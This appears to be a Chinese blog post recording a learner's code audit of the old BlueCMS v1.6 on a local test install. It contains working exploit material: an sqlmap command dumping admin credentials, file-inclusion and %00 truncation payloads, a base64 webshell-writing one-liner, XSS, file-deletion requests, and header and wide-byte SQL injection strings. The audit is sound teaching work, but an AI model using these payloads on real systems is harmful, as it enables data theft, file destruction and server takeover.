前言
一直想学习代码审计,但是想着一大堆php函数都不清楚,要啃下这个大骨头太难了,就这样一拖一拖就到现在了,终于是下定决心,一点一点开始吧,看了大家的学习思路,基本都是从bluecmsv1.6开始,这里参考了一些前辈,师傅的复现经验和bluecms审计的心得
安装
直接访问install目录即可
![图片[1]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd105309.png)
按照提示,填写完数据库信息,系统账号密码,即可进入系统
![图片[2]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd105408.png)
思路
思路其实就都差不多,大概就以下几种嘛
- 根据敏感关键字回溯参数传递过程。
- 查找可控变量,正向追踪变量传递过程。
- 寻找敏感功能点,通读功能点代码。
- 直接通读全文代码。
大家选一个自己最喜欢的思路就行,但是我相信很多人还是一脸懵逼,我一个小白我哪知道选哪个。作为我也是小白刚入门,我说说我的思路,大家可以参考参考。
- 基本拿到源码首先看一下目录结构,看出来是什么类型,什么框架看一下index.php,一般再开头都会有引用文件,
- 然后进入引用的公共文件看看一些过滤函数呀,稍微有点印象进行,因为等会看正文的时候还是会回来再看看的。
- 接着看看数据库的配置文件呀,有没有可能数据库就是gbk编码呢,这样是不是可以考虑以下有没有宽字节注入呢。
- 其实没有捷径可以走,我是通过seay代码审计工具扫描之后,一个文件一个文件的进行审计的,这个虽然比较费时间,但是却能够很好的打下基本功。
![图片[3]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd105817.png)
接下来就是一个一个文件分析嘛,没办法,谁让我是小白呢
漏洞审计
ad_js.php sql注入
通过seay审计可以看的,ad_js.php可能是存在sql注入的,打开看看
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
可以看见$ad_id并没有进行单引号包裹,有可能存在数字型注入,接着查看什么地方存在,在上面可以看到有所定义:如果$_GET['ad_id']存在并且不为空,就通过trim函数去除前后的空格,否则就赋值空值
利用:
![图片[4]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd110433.png)
因为没有回显,我们这里使用sqlmap直接梭哈即可,(延时注入等手动太累,主要是自己没学好)
python sqlmap.py -u http://127.0.0.1/bluecms/ad_js.php?ad_id=1 -D bluecms -T blue_admin -C "admin_name,pwd" --dump
![图片[5]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd111200.png)
publish.php 任意文件删除
elseif($act == 'del_pic')
{
$id = $_REQUEST['id'];
$db->query("DELETE FROM ".table('post_pic').
" WHERE pic_path='$id'");
if(file_exists(BLUE_ROOT.$id))
{
@unlink(BLUE_ROOT.$id);
}
}
当$act == 'del_pic',并且通过$id = $_REQUEST['id'];接收需要删除的文件地址,即可通过@unlink;删除文件,途中没有任何过滤,并且存在目录穿越
这里需要注意添加cookie:BLUE[user_id]=111111;
通过查看源码可以发现:首先检测是否存在该cookie,不存在就跳转登录,故这儿还存一个未授权漏洞
if(!$_SESSION['user_id'])
{
showmsg('您还没有登录,请先登录...', 'user.php?act=login');
}
![图片[6]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd112702.png)
user.php
任意文件包含
elseif ($act == 'pay'){
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('�Բ�����û��ѡ��֧����ʽ');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}
当$act == 'pay'时,通过include函数,其中因为$_POST['pay']是我们可以自己控制的,故存在任意文件包含漏洞
利用:
submit=%D4%DA%CF%DF%D6%A7%B8%B6&price=30&id=B1683961394E&name=%B1%E3%C3%F1%BF%A8&pay=../../index.php
但是后面拼接了/index.php 需要进行截断,这里使用%00截断,源码中只是判断pay参数是否为空,并没有过滤,通过拼接pay参数,进行包含,
绕过方法1:%00 截断
条件:magic_quotes_gpc = Off PHP 版本<5.3.4
测试:?filename=../../../../../../boot.ini%00
绕过方法2:路径长度截断
条件:windows下目录路径最大长度为256字节,超出部分将丢弃;
Linux下目录最大长度为4096字节,超出长度将丢弃
测试:?filename=text.txt././././. 或?filename=test.txt.....
![图片[7]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd152458.png)
进行包含失败
将php版本换成5.3.4以下的版本进行测试,因为%00在这以后的版本中进行了修复
![图片[8]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd152607.png)
这时候发现可以成功包含。
任意文件上传
个人资料中可以上传个人头像
![图片[9]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd152646.png)
查看下路径
![图片[10]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd152701.png)
文件包含图片马
![图片[11]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd152741.png)
看师傅们的文章中还有一种方法就是包含重新写入一个马
<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>
因为这样包含的shell,用菜刀或者蚁剑管理起来,参数很麻烦,不如直接包含写马的操作。学习到了。
存储型XSS漏洞
注册处
elseif($act == 'do_reg'){
$user_name = !empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
$pwd = !empty($_POST['pwd']) ? trim($_POST['pwd']) : '';
$pwd1 = !empty($_POST['pwd1']) ? trim($_POST['pwd1']) : '';
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
$safecode = !empty($_POST['safecode']) ? trim($_POST['safecode']) : '';
$from = !empty($from) ? base64_decode($from) : 'user.php';
if(strlen($user_name) < 4 || strlen($user_name) > 16){
showmsg('�û����ַ����Ȳ���');
}
if(strlen($pwd) < 6){
showmsg('���벻������6���ַ�');
}
if($pwd != $pwd1){
showmsg('�����������벻һ��');
}
if(strtolower($safecode) != strtolower($_SESSION['safecode'])){
showmsg('��֤�����');
}
if($db->getone("SELECT * FROM ".table('user')." WHERE user_name='$user_name'")){
showmsg('���û����Ѵ���');
}
if($db->getone("SELECT * FROM ".table('admin')." WHERE admin_name='$user_name'")){
showmsg('���û����Ѵ���');
}
$sql = "INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')";
可以发现并没有什么过滤,但是对用户名有长度限制,密码一般不考虑,我们在邮箱字段输入xss语句,对邮箱的验证在前端,我们抓包直接改进行提交之后触发xss。
修改用户信息处
elseif($act == 'edit_user_info'){
$user_id = intval($_SESSION['user_id']);
if(empty($user_id)){
return false;
}
$birthday = trim($_POST['birthday']);
$sex = intval($_POST['sex']);
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
$msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
$qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
$mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
$office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
$home_phone = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';
$sql = "UPDATE ".table('user')." SET birthday = '$birthday', sex = '$sex', face_pic = '$face_pic', email = '$email', msn = '$msn', qq = '$qq'," .
" mobile_phone = '$mobile_phone', office_phone = '$office_phone', home_phone = '$home_phone', address='$address' WHERE user_id = ".intval($_SESSION['user_id']);
$db->query($sql);
可以看见除了sex强制转换成int,address进行了html标签实例化,其他参数都只是进行了空格过滤,故而我们都可以进行测试,通过查看数据库user表的设计,可以发现email长度比较合适,可以尝试插入
![图片[12]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd154240.png)
修改email参数:
![图片[13]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd154442.png)
![图片[14]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd154350.png)
任意文件删除
if (!empty($_POST['face_pic1'])){
if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'http://') != false){
showmsg('ֻ֧�ֱ�վ���·����ַ');
}
else{
$face_pic = trim($_POST['face_pic1']);
}
}else{
if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
@unlink(BLUE_ROOT.$_POST['face_pic3']);
}
}
还是编辑资料这个地方,发现这里也存在一个任意文件删除漏洞,首先检测face_pic1参数是不是为空,是为空去检测face_pic3参数是否存在,如果存在就调用unlink函数删除文件,而且这两个参数都是用户可控的。下面我们只要把face_pic1赋值空,把face_pic3赋值成删除的文件就行,抓包进行修改。
POST /bluecms/user.php?act=edit_user_info HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/bluecms/user.php
Connection: close
Cookie: detail=4; PHPSESSID=k9hjks58rn2jn6vd16apnegm37; BLUE[user_id]=2; BLUE[user_name]=111111; BLUE[user_pwd]=b1fc9c96a120c29bd9de6f3f759d126a
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
face_pic1&face_pic3=111
还有一个 类似,也是任意文件删除
elseif($act == 'del_pic'){
$id = $_REQUEST['id'];
$db->query("DELETE FROM ".table('company_image')." WHERE path='$id'");
if(file_exists(BLUE_ROOT.$id)){
@unlink(BLUE_ROOT.$id);
}
}
comment.php guest_book.php
XFF SQL注入
配置文件中对POST,GET,COOKIES,REQUEST参数都做了gpc处理,唯独漏了SERVER,而且网站正好通过这个变量获取IP地址,直接搜全局搜索getip函数,看哪里使用了,这个函数在配置文件comment.fun.php中定义的函数
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)
VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
$db->query($sql);
闭合 ‘ 和 ),从而构造本来应该是$content的内容,被database()占据,故会直接显示出来数据库信息
VALUES ('', '$rid', '$user_id', '$timestamp', '127.0.0.1',database())#', '$content')";
![图片[15]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd164730.png)
![图片[16]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd164746.png)
我们可以通过伪造ip注入sql语句,直接上sqlmap。
用户注册
用户注册的那里不仅可以xss,insert into也可以进行宽字节注入。
%df',1,1),(100,0x6162717765,md5(123456),(select database()),1,1)#
后台登陆
后台登陆也存在宽字节注入,在/admin/login.php中存在check_admin,检查是否是admin的函数
elseif($act == 'do_login'){
$admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : '';
$admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';
$remember = isset($_POST) ? intval($_POST['rememberme']) : 0;
if($admin_name == ''){
showmsg('用户名不能为空');
}
if($admin_pwd == ''){
showmsg('用户密码不能为空');
}
if(check_admin($admin_name, $admin_pwd)){
update_admin_info($admin_name);
if($remember == 1){
setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400);
setcookie('Blue[admin_name]', $admin_name, time()+86400);
setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400);
}
}else{
showmsg('您输入的用户名和密码有误');
}
showmsg('欢迎您 '.$admin_name.' 回来,现在将转向管理中心...', 'index.php');
}
function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}
直接带入,但是包含了/admin/include/common.inc.php
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}
这里是经过转义的,而且开了GBK,就存在宽字节注入了。在/admin/login.php注入
当我输入如下payload
![图片[17]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd162859.png)
![图片[18]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd162916.png)
自动对’进行了转义,更能证明了存在宽字节注入
正确payload:
![图片[19]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd162929.png)
![图片[20]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd162934.png)
总结
代码审计主要就是经验,然后就是细心
借用大佬的总结就是:
说一下下一个cms怎么审计:
1:首先不能盲目,记住Web漏洞的本质:存在用户的输入
应重点关注有输入点的页面,再去文件里找相关代码,不断回溯看看代码中有没有可控变量,过滤是否严谨。
2:可以全局搜索一下危险函数,如:unlink,include,move_uploaded_file函数等
查找相关漏洞可以去找关键字,如sql注入:
全局搜索一下SELECT、UPDATE、INSERT、DELETE等关键字
看看是否有预编译后再插入数据库。
比如上传,可以搜索一下upload,看看他的过滤规则。
多总结,多反思,先审计完再看网上文章,看看别的师傅怎么审计的,不断借鉴。














请登录后查看评论内容